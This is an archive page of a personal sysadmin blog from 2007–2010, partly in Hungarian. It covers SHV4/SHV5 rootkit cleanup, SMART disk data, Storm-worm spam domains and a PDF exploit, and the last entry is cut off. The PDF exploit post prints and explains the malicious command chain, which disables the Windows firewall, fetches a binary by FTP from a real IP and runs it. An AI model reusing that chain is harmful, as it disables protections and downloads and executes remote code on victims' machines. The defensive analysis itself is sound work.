Archive for the ‘Case Study’ Category

« Older Entries

So you got rooted by SHV4 / SHV5 rootkit…

Wednesday, November 17th, 2010

Best symptom that you have SHV4/5 is that you start getting “Unknown HZ value! (#) Assume 100.” messages from top/ps.

More on this at:
http://www.bigismore.com/web-server-security/unknown-hz-value-assume-100-youve-been-hacked/

rkhunter can help you “confirm” such situation too. Additionally run “chkrootkit” as well.

Now, the question, how you get rid of those.
Many forum/article/etc. on the web will likely say that you do a clean install. Meanwhile undoubtly that’s the best, you might be in a situation where that cannot be accomplished (easily), and/or you need fast (maybe temporary) remedy.

“Best” information I found was at:
http://www.linuxforums.org/forum/security/47606-shv4-shv5-rootkit-installed.html

So, the rootkit REPLACES – at least, but not limited to – the following commands at their appropriate location (/bin, /sbin, /usr/bin, etc): find, ifconfig, ls, md5sum, netstat, ps, pstree, top, dir, slocate, lsof […]

It also installs and runs /sbin/ttymon and /sbin/ttyload.
Since “ps” is replaced, you won’t be able to list them, though they would likely be running.
You can blindly issue a “killall ttymon” and “killall ttyload” to try to get rid of those process, but anyway you would need a “proper” ps to get information whether they’re killed and if not, try killing by process ID [kill -9 #].

You can get a “ps” from an identical or at least close linux system, or check /usr/lib/libsh/.backup – as the “decent” rootkit makes backups of the “clean” commands there.

After getting rid of the running process[es], lsattr -i -a the suspicious files (if you have the .backup directory, start with the named those), then replace them from either the .backup or from another identical system.

Move/backup/delete the following directories/files:
/usr/lib/libsh
/usr/lib/lidps1.so
/lib/libsh.so
/sbin/ttymon
/sbin/ttyload
/dev/devx
/etc/sh.conf

Check and delete “new”/unneeded entries from:
/etc/passwd and /etc/shadow [like psadmin, default, userx, sysadmin – also delete/move home directories of those, some might have .ssh/authorized.keys]
/root/.ssh/authorized.keys and known_hosts

Change administrator account’s passwords… [And anything you suspect to be leaked and important…]

And of course try to find the cause/way how you got hacked and make sure it won’t happen again.
Based on the creaton time of the directories, you might get a clue when the rooting happened, and check syslog, daemon.log, auth.log, etc. for clues.

Recent hacks could be related to proftpd exploit:
http://www.zerodayinitiative.com/advisories/ZDI-10-229/
This is/was supposely fixed in version 1.3.3c of proptfp [Fixed Telnet IAC stack overflow vulnerability (ZDI-CAN-925 ] – and likely backported to earlier version in your distribution, check changelog for package.
Debian changelog for reference:
http://packages.debian.org/changelogs/pool/main/p/proftpd-dfsg/proftpd-dfsg_1.3.3a-5/changelog

In case of vulnerable profptd, stop the daemon – and kill all process containing the word proftpd, there will be some…
Download and install the new package.

You might check proftp’s log “just for the fun”, you should see such mix of entries like:
“client sent too-long command, ignoring”, then
“ProFTPD terminating (signal 11)”, then
“FTP session closed.”.
Likely more of these. Then repeated open/closes.

If you see such messages in your log – and not yet hacked -, then update proftpd ASAP to avoid getting SHV4/SHV5 or anything else…

Posted in Case Study, English, Linux, technikai infók | 2 Comments »

Egy korszak vége

Friday, July 24th, 2009

Kedden véget ért egy korszak — felszámoltuk a saját NetWare (4.11) szerverünket.
Amúgy is már EOL (End-Of-Life) termék volt vagy 10 éve, meg a diszkeknek is furcsa hangja kezdett lenni, lassan tehát úgyis “hozzá kellett volna nyúlni”.

Nagyjából minden működik eltekintve egy-két dologtól, olyan banális okok miatt, ami a harmadik évezredben eléggé röhejesnek tűnik.
Például a hálózaton lévő banki program valamilyen hülye okból a helyi gépen létrehozott könyvtárát törölni kell, majd az induláskor létrehozza és boldog lesz. Ez egy, a bank által már korábbról “ismert probléma”. Kérdés, hogy akkor miért nincs “kijavítva” a program?

Másik példa, hogy az eddig Novell NetWare szerveren tárolt Outlook Express adatbázis nem tárolható Windows szerveren. Sem menüből, sem registry átállítással nem lehet rávenni, hogy menjen. A hivatalos “magyarázat”: http://support.microsoft.com/kb/199074 – azaz “nem lehet” hálózati megosztáson.
Valószínűleg a programozó a Microsoftnál nem tekintette a Novell NetWare-t hálózati operációs rendszernek, ezért lehetett, hogy azon vígan ment… :-]

Az, hogy ugyan a felhasználónak kiosztott jogosultság azonnal, de a csoporton keresztül adott jogosultság csak újra bejelentkezés után “él”, megérne egy misét (az egész Microsoft jogosultságkezelés meg egy egész bibliát). NetWare alatt ha egy nagyobb fájt másolok és _közben_ elveszem a jogot a felhasználótól, akkor azonnal nem tudja továbbolvasni a fájlt. Windows alatt ez nem egészen így van…
(Jut eszembe, annó véletlenül kivettem egy működő NetWare szerverből egy hálózati kártyát és csak akkor vettem észre, hogy mit tettem, amikor a konzolon kiírta, hogy valami PCI event van… Aztán ijedtemben vissza is tettem, örült neki, és minden ment tovább… – Ez akkortájt volt, amikor Windows NT-n még újra kellett indítani a szervert IP cím változtatáskor…)

Azt hiszem már közeleg az az idő, melyben a kőbalta lesz a legcélszerűbb eszköz – hacsak nem kell majd illesztőprogram ahhoz is…

Posted in Bosszantyú, Case Study, Microsoft, Novell, technikai infók, winrant | 2 Comments »

Ne kicsinyeskedjünk…

Tuesday, March 24th, 2009

Ez is egy régebbi anyag – na jó, baromi régi, 1991-ből a Novell NSE adatbázisából -, de az ilyeneknek egyszerűen fenn kell maradnia örökre!
Ez a hozzáállás kéremszépen, én is szeretnék sok sok ilyen “user”-t…

This is an old material too -well, extremely old, from Novell’s NSE database, 1991 -, but articles like these must be kept public forever.
This is the real attitude, I’d like to have many many users like this…

 

FYI:  “Mirror Copies of Volume Dir Dont Match” – Ontrack

DISCLAIMER 

 The origin of this information may be internal or external to Novell.  Novell makes every effort within its means to verify this information.  However, the information provided in this document is FOR YOUR INFORMATION only.  Novell makes no explicit or implied claims to the validity of this information.

 

TITLE:                                            “Mirror Copies of Volume Dir Dont Match” – Ontrack

DOCUMENT ID#:                         FYI.P.4291

DATE:                                             09OCT91

PRODUCT:                                   NetWare

PRODUCT VERSION:                v3.11

SUPERSEDES:                           NA

SYMPTOM:                                   

The user had extremely sensitive data stored on a file server in Kuwait. Thinking something was wrong, the user turned off the power to the server.  After powering the machine back up, the system displayed the following error message:

┌───────────────────────────────────────┐
│Mirror copies of volume dir dont match │
└───────────────────────────────────────┘

ISSUEPROBLEM

The Novell technician told the user to run VREPAIR because it fixes this problem 99 percent of the time.  The user did not want take the 1 percent risk of running VREPAIR.

SOLUTION

The user flew a team from Ontrack to Kuwait and they successfully recovered 100 percent of the data.

Ontracks data recovery phone numbers are the following:

      USA                   1-800-872-2599

      International  1-612-937-5161

      FAX                    1-612-937-5750

Ontrack has two offices in the U.S. and one in Europe.

      Ontrack London office

      Phone: 44-81-549-3444

            Fax:   44-81-546-6642

Posted in Case Study, English, Móka, Novell, technikai infók | No Comments »

SMARTy

Thursday, June 26th, 2008

HDD manufacturers invented S.M.A.R.T. some years ago.
So we should be happy, though I am not.

For one thing, there are no default error rates for attributes/thresholds, but manufacturer’s define (see also) when a drive is bad, and when it is good. Then of course they define it “to the extremities” so a drive in some cases can never go to bad SMART state even if it has constant problems. See more on this at: http://www.hdsentinel.com/smart/, from section “#1 Incorrect thresholds”.

I understand that current technology – in the microns – needs different approach than 10-15 years ago, but I fail to understand for example how a “197/C5” (Current Pending Sector Count) attribute can exist and increase without big red warnings. This means that the sector was successfully written once, but later on it was couldn’t be read (equals data loss). And this doesn’t count as an error (according to harddisk manufacturers), only an increase of an attribute (which can decrease too!). My point of view is that this is sort of the equivalent of the “old day’s” dreadful “bad sector” term. Though that time this things usually happened at write time, so you could immediately notice.

This is a picture of one of my (brand new) Samsung HD501LJ harddisks after 2 days of operation.

The second one followed it’s “path” some days later.

They were mirrored, but swap got corrupted, then ssh and console got swapped out and couldn’t make it back to the memory. So eventually I had to power off the server and since the mirror broke, I didn’t have a fully readable, “mirrorable” array or disk, so I had to do a file by file copy to new disks. Of course off peak, so it was like from 01:00 to 04:00. Was fun… [not].

I also installed a server with 8 Samsung 500 drives, eventually we had to replace all (Hitachis seem to work fine).
If you format/rewrite a harddisk with a bunch of these “read errors”, then voila: the errors go away. Then manufacturer  refuses to replace the harddrive – because of “no errors”. So we stopped selling Samsung harddisks.

I consulted my friend who recovers data from damaged disks, and he confirmed that Samsung is “experiencing problems” with the PMR technology and recommended Hitachi and Seagate drives to use. I then used then a pair consisting of a Hitachi and a Seagate drives to avoid simultaneous failure because of same technology/same time manufacturing.

“Hitachi drives use quite special own technology to park HDD heads outside of magnetic disks area to a special parking ramp. This causes HDD heads not to suffer from parking – they’re NEVER land on disk surface during parking. So, actually, Hitachi HDDs can handle a LOTS of starts/stops without any real problems.” [quoted from here] – [original hitachi article / same in html, from google cache]
Parking _on_ the platter can be seen here (picture 1 and 2).

Even if your server runs 24/7 in a server room with proper power and climate, it can happen that you stop your server and it’s harddisk[s] would never spin up again – because of the contact with the drive’s surface it can get stuck in the dirt (then might even fell off at a restart).

Additionally meanwhile most manufacturers (Hitachi/IBM, Seagate and even Samsung) use embedded servo on all platters nowadays, some models have only one servo information for all platters (“Format Disk with Servo Tracks Once, Use Servo Information with Many Heads“) which makes an occasional recovery less possible because even when a professional disassembles a faulty drive, the platters can move, then chances to recover anything from those platters without servo information is near to impossible.

So kids, avoid Samsung drives for the time being…

Posted in Bosszantyú, Case Study, English, technikai infók | 3 Comments »

Okosabb vagy-e mint a S.M.A.R.T. ?

Monday, March 17th, 2008

Felmerült már többször mostanában, hogy mire jó a S.M.A.R.T. és mit is jelentenek az értékei.
Főleg a leggyakrabban előforduló “Raw_Read_Error_Rate” (1) és a “Hardware_ECC_Recovered” (195) attributum.

Ha jól értelmezem az új HDD technológiákat és a S.M.A.R.T.-ot, akkor ezek nem “hibák” [nézőpont kérdése… én tiltakozom…].

Az egyik (nemrég cserélt) Seagate HDD-re a “smartctl -a” azt mondja, hogy:

Device Model:     ST3500320AS
Serial Number:    9QM0BEJ3
Firmware Version: SD15
User Capacity:    500.107.862.016 bytes
—

SMART Attributes Data Structure revision number: 10
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   117   099   006    Pre-fail  Always       –       157989864
  3 Spin_Up_Time            0x0003   094   094   000    Pre-fail  Always       –       0
  4 Start_Stop_Count        0x0032   100   100   020    Old_age   Always       –       44
  5 Reallocated_Sector_Ct   0x0033   100   100   036    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000f   074   060   030    Pre-fail  Always       –       25943365226
  9 Power_On_Hours          0x0032   099   099   000    Old_age   Always       –       1550
 10 Spin_Retry_Count        0x0013   100   100   097    Pre-fail  Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   020    Old_age   Always       –       44
184 Unknown_Attribute       0x0032   100   100   099    Old_age   Always       –       0
187 Unknown_Attribute       0x0032   100   100   000    Old_age   Always       –       0
188 Unknown_Attribute       0x0032   100   100   000    Old_age   Always       –       0
189 Unknown_Attribute       0x003a   099   099   000    Old_age   Always       –       1
190 Temperature_Celsius     0x0022   055   048   045    Old_age   Always       –       807600173
194 Temperature_Celsius     0x0022   045   052   000    Old_age   Always       –       45 (Lifetime Min/Max 0/15)
195 Hardware_ECC_Recovered  0x001a   054   048   000    Old_age   Always       –       157989864
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       –       0
198 Offline_Uncorrectable   0x0010   100   100   000    Old_age   Offline      –       0
199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       –       0

Meg persze a logot is teleírkálja a megfelelő entry-kkel.

Namármost a kék elméletileg nem gond.

Az aktuális HDD technológia ill. a S.M.A.R.T. elméletileg úgy működik, hogy:

Beolvassuk szektort. Sikerült, jó az adat? Igen –> Király, goto vége.

Ha nem sikerült, akkor a beolvasott adatból meg a szektor mellé olvasott ECC-ből össze tudjuk rakni, hogy minek kéne lennie a szektor tartalmának?

Ha igen, akkor a Raw_Read_Error_Rate (1) és/vagy Hardware_ECC_Recovered (195) változókat növeljük.

MInt látható, a fenti diszken van mindkettő, és minkettő ugyanannyi, 157 millió akárhány. Szerintem ez 1550 órára vetítve problémásan sok, de hát ez a csodás a S.M.A.R.T. technológiában, hogyha a gyártó úgy gondolja, hogy az nem probléma, akkor nem az…

Alább a Hitachinál csak Raw_Read_Error_Rate (1) van (bár itt “csak” 1.5 millió esemény történt 1548 óra alatt), még lejebb a Samsungnál van ugyan mindkét változó, de csak a Hardware_ECC_Recovered tükrözi az összes ECC-vel javitott (tehát hibásan is olvasott) esemény számot. Ez a másik csodás a S.M.A.R.T.-ban, a gyártók ízlésüknek megfelelő értéket tárolnak benne és szintén ők “találják ki”, hogy mi a hozzátartozó tűrésküszöb. Ami értelemszerűen akkorára van véve, hogy ne vigyék vissza minden második diszket a kedves végfelhasználók…

Szóval, ha viszont az ECC alapján sem sikerült a tartalmat visszaállítanunk, akkor bizony a hagyományos értelemben vett “bad sectorral” van dolgunk, ugyanis egyébként lehet, hogy jó lenne a szektor, ha újraírnánk, de ez kevéssé vígasztal minket, ha pont azon a szektoron fontos adatunk van, netán valami kriptográfiai fájlrendszerünk kulcsának egy része helyezkedik el rajta…

Ez S.M.A.R.T. ügyileg a – pirossal kiemelt – 197-es Current_Pending_Sector tartalmát fogja növelni.
A probléma itt kezdődik – leszámítva persze az egész új HDD technológia/S.M.A.R.T. kombót…

Device Model:     Hitachi HDT725050VLA360
Serial Number:    VFK401R41TPL8K
Firmware Version: V56OA7EA
User Capacity:    500.107.862.016 bytes
—
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000b   093   093   016    Pre-fail  Always       –       1572878
  2 Throughput_Performance  0x0005   100   100   050    Pre-fail  Offline      –       0
  3 Spin_Up_Time            0x0007   121   121   024    Pre-fail  Always       –       486 (Average 340)
  4 Start_Stop_Count        0x0012   100   100   000    Old_age   Always       –       10
  5 Reallocated_Sector_Ct   0x0033   100   100   005    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000b   100   100   067    Pre-fail  Always       –       0
  8 Seek_Time_Performance   0x0005   100   100   020    Pre-fail  Offline      –       0
  9 Power_On_Hours          0x0012   100   100   000    Old_age   Always       –       1548
 10 Spin_Retry_Count        0x0013   100   100   060    Pre-fail  Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       –       10
192 Power-Off_Retract_Count 0x0032   100   100   000    Old_age   Always       –       74
193 Load_Cycle_Count        0x0012   100   100   000    Old_age   Always       –       74
194 Temperature_Celsius     0x0002   109   109   000    Old_age   Always       –       55 (Lifetime Min/Max 20/60)
196 Reallocated_Event_Count 0x0032   100   100   000    Old_age   Always       –       0
197 Current_Pending_Sector  0x0022   100   100   000    Old_age   Always       –       0
198 Offline_Uncorrectable   0x0008   100   100   000    Old_age   Offline      –       0
199 UDMA_CRC_Error_Count    0x000a   200   253   000    Old_age   Always       –       0

Model Family:     SAMSUNG SpinPoint P80 SD series
Device Model:     SAMSUNG HD120IJ
Serial Number:    S0AEJ1ML200047
Firmware Version: ZL100-33
User Capacity:    120.034.123.776 bytes
—

SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   100   100   051    Pre-fail  Always       –       36
  3 Spin_Up_Time            0x0007   100   100   025    Pre-fail  Always       –       6336
  4 Start_Stop_Count        0x0032   100   100   000    Old_age   Always       –       27
  5 Reallocated_Sector_Ct   0x0033   253   253   010    Pre-fail  Always       –       0
  7 Seek_Error_Rate         0x000f   253   253   051    Pre-fail  Always       –       0
  8 Seek_Time_Performance   0x0025   253   253   015    Pre-fail  Offline      –       0
  9 Power_On_Hours          0x0032   100   100   000    Old_age   Always       –       1903
 10 Spin_Retry_Count        0x0033   253   253   051    Pre-fail  Always       –       0
 11 Calibration_Retry_Count 0x0012   253   002   000    Old_age   Always       –       0
 12 Power_Cycle_Count       0x0032   100   100   000    Old_age   Always       –       27
190 Temperature_Celsius     0x0022   094   088   000    Old_age   Always       –       48
194 Temperature_Celsius     0x0022   094   088   000    Old_age   Always       –       48
195 Hardware_ECC_Recovered  0x001a   100   100   000    Old_age   Always       –       152375033
196 Reallocated_Event_Count 0x0032   253   253   000    Old_age   Always       –       0
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       –       1
198 Offline_Uncorrectable   0x0030   253   253   000    Old_age   Offline      –       0
199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       –       0
200 Multi_Zone_Error_Rate   0x000a   100   100   000    Old_age   Always       –       0
201 Soft_Read_Error_Rate    0x000a   100   100   000    Old_age   Always       –       2
202 TA_Increase_Count       0x0032   253   253   000    Old_age   Always       –       0

Bocs a szétesett táblákért, a WordPress is egy kalap szamóca, de persze lehet, hogy én nem értek hozzá… (Ehhez sem…)

Posted in Bosszantyú, Case Study, technikai infók | 2 Comments »

Merry Christmas – Not…

Wednesday, December 26th, 2007

Guess what’s happening on Christmas?

E-mails starts to flow wishing merry christmas with links to uhavepostcard (dot com) and merrychristmasdude (dot com). One gets suspicious. And it turns out, one is right – again. Do not visit the above links unless you keen on getting some new trojans…

After adjusting our server’s spam filter, I do some more research. Some antivirus products recognise the downloadable, some not.

Domains were registered on 23rd of December, the registration data are obviusly fake (ZIP 12345, yahoo and hotmail e-mail accounts, etc.).
The problem is with this domain based spamvertizing, that – unlike the IP based ones – the domain can exist and can be maintained for longer period of time, it’s nameserver records can be changed, which by the way currently consist of 2*13 entries from different countries and different ISP-s.
Serving of the “webservers” IP address are done by these “bot-NS” servers, from a pool of thousands of other bot’s, so it is easily understandable that stopping these is impossible.

So, then one writes to the domain registrator company – responsible for registering the domains in question – to null out the nameservers and put the domain on hold (render the domain useless and not to let the domain to be registered elsewhere). The registrator happens to be Russian (RU-CENTER), which doesn’t look good at first sight.

However, some answer comes back, with the essence of that I should report to ICANN/Internic, if the domain have invalid registration data. Then after ICANN notifies them, they try to contact the owner, and if no answer comes back in 2 weeks(!), then they switch off the domain.

Those who understand even a tiny bit what this is about, now say “ridiculous”. After two weeks from now, whent the trojan was downloaded million times, noone will care whether the above domains exist or not.

I’ve tried once more explaining that if we can’t kill it at the domainregistration level, there is no chance doing anything else, like digging up thousands of bot’s IP’s and reporting them one-by-one (meanwhile newer ones join).
The last reply I got is currently this:

“We have initiated the check of the Whois information according to advised ICANN procedure. If it is really fail we will remove domain names.”

I’m really curious when will anything happen to these damned domains.

Update:
Dec 26, 18:04 [UTC +01:00] – New spamvertized malware hosting domain: HAPPYCARDS2008[.COM] – similar fake details, new registration, etc. Another urging message to the Russians. A slogan popped up into my mind, from an early MTV environmental advertisement. “If you’re not part of the solution, you’re part of the problem…”

Dec 26, 20:33 [UTC +01:00] – I didn’t get any answer from RU-CENTER nor I see the domains disappearing. So I encourage anyone who cares a little bit to contact (“bomb”) RU-CENTER at the “tld-ncc [@] nic.ru” address regarding to this matter. Other forms of contact can be seen here: http://www.nic.ru/about/en/contact_ncc.html
I’m amazed how many people wrote blog entries on this issue, yet none seemed to contact the only place which can do anything, the “tree root”. Come on people, you can do better. Or do I have to save the world (again) single handedly? :-]

Dec 27, 10:15 [UTC +01:00]
1st newyearcards2008[.com] spams – RU-Center urged to act again. Seems like if you want to spam, you should choose them to register your domain…

Dec 28, 16:51 [UTC +01:00]
new domain: newyearwithlove.com – reported at ICANN/Internic

Jan 05, 15:39 [UTC +01:00]
As you might have guessed, I got tired of reporting to an unresponsive registrator, internic and sirt.
There is not much I can do, and many others started to complain and comment on this issue.
Such as – but not limited to:
http://www.castlecops.com/p1038986-storm_worm_spam.html#1038986
Where – among others – you can see my “open letter to RU-CENTER”.
That was addressed on the 28th of December to ru-ncc@nic.ru, tld-ncc@nic.ru, tld-adm@nic.ru, tld-tech@nic.ru and info@cert.ru
Since they didn’t bother to do anything or at least answer, the most I can do is to list their addresses here and hope that email address harverster bots will “get the message” and eventually make them feel the same way like many of us.

Spamhaus complaint listed at: http://www.spamhaus.org/news.lasso?article=624

List of all domains registered relating to this fast-flux storm-bot Christmas/New Year “event”:
http://www.spamtrackers.eu/wiki/index.php?title=Storm#December_29

Jan 09, 15:53 [UTC +01:00]
Just received a mail from RU-CENTER:

“Dear Sirs,
 
The domains:
 
HAPPYCARDS2008.COM
NEWYEARWITHLOVE.COM
UHAVEPOSTCARD.COM
MERRYCHRISTMASDUDE.COM
 
are put on hold,
 
— 
Best Regards,
 
Julia A. Lotkova
Regional Network Information Center (RU-CENTER)
Phone:  +7 495 737-0601
fax:    +7 495 737-0602
http://www.nic.ru”  

I checked all known domains, they show “NOT-DELEGATED” and seems like they dont’t work anymore.
And it only took like 16 days!!!
Let’s be happy folks – and prepare for the new domains which will be registered soon…

Jan 10, 11:51 [UTC +01:00]
“From: “RU-CENTER NCC”
Sent: Thursday, January 10, 2008 11:51 AM
Subject: [ru-center #1781157] Re: open letter to RU-CENTER 

Dear Sirs, 
 
The domains are put on hold, thank you for your report. 
New alike registrations are monitored. 
 
— 
Best Regards, 
 
Julia A. Lotkova 
Regional Network Information Center (RU-CENTER) 
Phone: +7 495 737-0601 
fax: +7 495 737-0602 
http://www.nic.ru”

so let’s hope that at least new domains won’t be registered here.

Posted in Bosszantyú, Case Study, English | No Comments »

Karácsonyi üdvözlet – azaz nem is annyira…

Wednesday, December 26th, 2007

Persze mi történik karácsonykor?

Elkezdenek olyan üzenetek jönni, melyben kellemes karácsonyt kívánnak, egy uhavepostcard (pont com) és merrychristmasdude (pont com) linkekkel. Ilyenkor az ember gyanakszik. És kiderül, hogy megint igaza van. A fenti címeket nem érdemes meglátogatni, hacsak nem izgi trójait szeretnénk a gépünkre installálni…

A szerverünkön filterezés után bővebb analizálás. Pár víruskereső felismeri, de vannak sokan akik nem.

A domaineket december 23.-án regisztrálták, azok adatai értelemszerűen hamisak (12345-ös zip kód, yahoo-s és hotmail-es email cím, stb.).
A probléma ott van, hogy IP “spamvertizálással” ellentétben, a domain sokáig jó lehet, ha nem a gyökerénél – azaz a domainbejegyzésnél – fogják meg a problémát. Ugyanis, ha a domain létezik, annak “adminisztrátora” (azaz a víruskoordinátor) bármikor átírhatja a névszerver rekordokat, mely egyébkén jelenleg mindkettőn 13 különböző országokban és szolgáltatóknál regiszrált bejegyzésekből áll…
Ezen “bot-NS”-szerverek által a webszerver rekord IP-jének kiszolgálása is botnet hálózatból történik, így könnyen belátható, hogy a többezer zombi-webszerver és NS gép leállítása gyakorlatilag lehetetlen feladat.

Tehát az ember ír a domainregisztrátornak, hogy nyírja ki és “parkolja” a domaint (domaintranszfer vagy újraregisztrálás elkerülése végett). A domainregisztrátor (RU-CENTER) Oroszországi, ami nem kecsegtet túl sok eredménnyel.

Valami reakció érkézik elég hamar, a lényege, hogy jelentsem az ICANN/Internic felé, ha a domain érvénytelen adatokkal lett regisztrálva, akkor az Icann jelzése után megpróbálják felvenni a tulajdonossal a kapcsolatot, és ha két hétig nem válaszol, akkor utána(!) lekapcsolják a domaint. Hozzáértők most valószínúleg a “röhej” szót formálják ajkukon. Két hét múlva, amikor a fenti trójai már elterjedt többmillió példányban, a kutyát nem fogja érdekelni, hogy létezik-e a domain vagy nem. A domain megtette kötelességét…

Még megpróbáltam elmagyarázni nekik, hogy ha a domainregisztrációval nem tudunk mit csinálni, akkor semmi értelme sincs többezer (ismeretlen IP-jű) bot-ot egyesével felkutatni és jelenteni (miközben újak jönnek), így most kb. itt tartunk:

“We have initiated the check of the Whois information according to advised ICANN procedure. If it is really fail we will remove domain names.”

Kiváncsi vagyok mikor történik a domainekkel valami érdemleges.

Update:
Dec 26, 18:04 – Új spamvertizált domain: HAPPYCARDS2008[.COM] – fentiekkel egyező hamis adatok, friss dátum és letölthető trójai. Gondolom van még több domain is a tarsolyban. Oroszok megsürgetve.

Posted in Bosszantyú, Case Study | No Comments »

Az előző PDF exploit magyarázata – details on PDF containing exploit

Tuesday, October 30th, 2007

Így néz ki a tegnap kapott biztonsági hibát tartalmazó PDF fájl:
(This is how the recently received PDF document’s exploit looks like:)

../../../windows/system32/cmd”.exe”” /c ” cmd
/c = kódvégrehajtás “parancs1 & parancs2 & … & parancsN” formában, idézőjelek között, “&” jellekkel elválasztva.
/c = execution of commands, between quotes, separated by “&”s, eg.: “command1 & command2 & … & commandN”

set
cls

netsh firewall set opmode mode=disable
kikapcsoljuk a tűzfalat (disable the firewall)

echo o 81.95.146.181 >i
echo binary >>i
echo get /system.com >>i
echo quit >>i
“i” nevű ftp scriptet kreálása, mely megnyitja a 81.95.146.181-es hostot, bináris módba kapcsol, letölti a system.com-ot majd kilép.
(Creation of FTP script “i”, which will open 81.95.146.181, switches to binary, downloads system.com then exits)

ftp -s:i -v -A >nul
Az FTP script végrehajtása (-v=távoli kiszolgáló válaszainak letiltása, -A=Anonim bejelentkezés)
(Execution of the FTP script. -v=don’t display remote replies, -A=use anonymous account)

del /q i
Script törlése (Delete script)

start system.com
Letöltött “system.com” indítása
(Execution of downloaded “system.com”)

—

Mellesleg én nem tudtam letölteni de még kapcsolódni sem a fenti IP-hez, valószínűleg túl lett terhelve vagy lekapcsolták…
(BTW, I wasn’t able to download or even connect to the above IP. Might be overloaded or kicked off.”)

Posted in Case Study, English, technikai infók | No Comments »

Már megint egy csúnyaság – PDF trójai letöltő…

Tuesday, October 30th, 2007

Kaptam az imént egy PDF melléklettel bíró levelet. Elsőre úgy tűnt, hogy valami spam, az üzenetben lévő “Please have a look at attached document.” és a “report.2007.10.29.6129157.pdf” mellékletnévből. Gondoltam megnézem ebben éppen mi van, mert már jó ideje nem jött ilyen spam.

Hát, nem spam volt. Ez viszonylag hamar feltűnt, mert felugrott egy DOS ablak cmd.exe-vel…
Már húztam is ki az UTP csatlakozót…

Szerverünkön kézi filter adjusztálása, virustotal és információgyűjtés után úgy tűnik, hogy ez egy PDF-exploitos gozi (vagy végül is akármi más) trojan installer.
http://www.secureworks.com/research/threats/gozipdf

Virustotal eredménye:
A(z) report.2007.10.29.6129157.pdf állomány feltöltve: 2007.10.29 23:22:17 (CET)
Eredmény: 6/31 (19.36%)

Antivírus

 Verzió
 Utolsó frissítés
 Eredmény
AhnLab-V3 2007.10.30.0 2007.10.29 –
AntiVir 7.6.0.30 2007.10.29 EXP/PDF.URI.Gen
Authentium 4.93.8 2007.10.29 –
Avast 4.7.1074.0 2007.10.29 –
AVG 7.5.0.503 2007.10.29 –
BitDefender 7.2 2007.10.30 –
CAT-QuickHeal 9.00 2007.10.29 Expoit.PDF.CVE-2007-5020
ClamAV 0.91.2 2007.10.29 Exploit.PDF-1
DrWeb 4.44.0.09170 2007.10.29 –
eSafe 7.0.15.0 2007.10.28 –
eTrust-Vet 31.2.5250 2007.10.29 –
Ewido 4.0 2007.10.29 –
FileAdvisor 1 2007.10.29 –
Fortinet 3.11.0.0 2007.10.19 –
F-Prot 4.3.2.48 2007.10.29 –
F-Secure 6.70.13030.0 2007.10.29 –
Ikarus T3.1.1.12 2007.10.29 –
Kaspersky 7.0.0.125 2007.10.30 Exploit.Win32.PDF-URI.l
McAfee 5151 2007.10.29 –
Microsoft 1.2908 2007.10.30 –
NOD32v2 2623 2007.10.29 –
Norman 5.80.02 2007.10.29 –
Panda 9.0.0.4 2007.10.29 –
Prevx1 V2 2007.10.29 –
Rising 19.47.02.00 2007.10.29 –
Sophos 4.23.0 2007.10.29 –
Sunbelt 2.2.907.0 2007.10.29 –
Symantec 10 2007.10.30 Bloodhound.Exploit.163
TheHacker 6.2.9.110 2007.10.27 –
VBA32 3.12.2.4 2007.10.28 –
VirusBuster 4.3.26:9 2007.10.29 Exploit.PDF.Gen

További információ
File size: 4854 bytes
MD5: 356caee3eff70746d7dceec345123f21
SHA1: 2403cb3c827b9504f7717bbafdcb5e89ed847924

Tehát sok víruskereső nem csinál vele semmit, ami értelemszerűen nem túl jó. Jó kis PDF exploit családot vélek vízionálni a közeljövőre. Az exploit egyébként 2007 szeptember 20.-án jelent meg a bugtraq-on.

Konklúzió:
A víruskeresőkön felül nem bízhatunk ma már a PDF fájlokban sem.
Frissítsük sürgősen Acrobat Reader-ünket innen:
http://www.adobe.com/support/security/bulletins/apsb07-18.html

Addendum: Ühm, úgy tűnik, hogy magyarból csak 8.0 van és csak angolból van 8.11. Akkor marad vagy az angol, vagy a fentiekben leírt registry hackelés…

Posted in Case Study, technikai infók | 1 Comment »

Melyik víruskereső a jobb…

Friday, October 19th, 2007

A legközelebb álló válasz talán az, hogy mikor-melyik…
Persze finomabb részletekbe is bele lehet menni, mennyi és mikori vírusmintákat tartalmaz, milyen gyakran frissítik, működik-e egyáltalán – mert ilyen is van, tapasztalatok szerint az E-Trust (Inoculan) csak akkor szól, hogy vírus van, ha már elindítottuk (és elkezdi kifejteni áldásos tevékenységét).

Vagy pl. a ClamAV le van maradva a régi vírusok felismerése tekintetében, bár ez manapság annyira nem érdekes, hiszen egy levelezőszerveren jellemzően újfajta vírusok próbálnak terjengeni, egy onehalf nem, hacsak nem valaki mókából ilyet küld valakinek, bár kétséges, hogy ez egy NT/2000/XP alatt egyáltalán képes-e valamit csinálni.

A vírusadatbázis frissességét úgy lehet ellenőrizni, hogy az ember kap egy új vírust és megnézi az összes víruskereső aktuálisan lefrissített változatával. Na persze ennél van egyszerűbb megoldás, a virustotal.com üzemeltet egy olyan szolgáltatást, melyen jelenleg 31 víruskereső aktuálisan frissített változata van és nekünk csak fel kell tölteni a kérdéses fájlt.

Példának okáért mellékelem a ma kapott “brand-new”, használt víruskeresőink által nem-nagyon felismert “gyanús fájlok” eredményeit:

1) http://www.virustotal.com/hu/resultado.html?34bff11f38f42cbee2fa81bd47173038

A(z) access.exe állomány feltöltve: 2007.10.19 13:53:07 (CET)

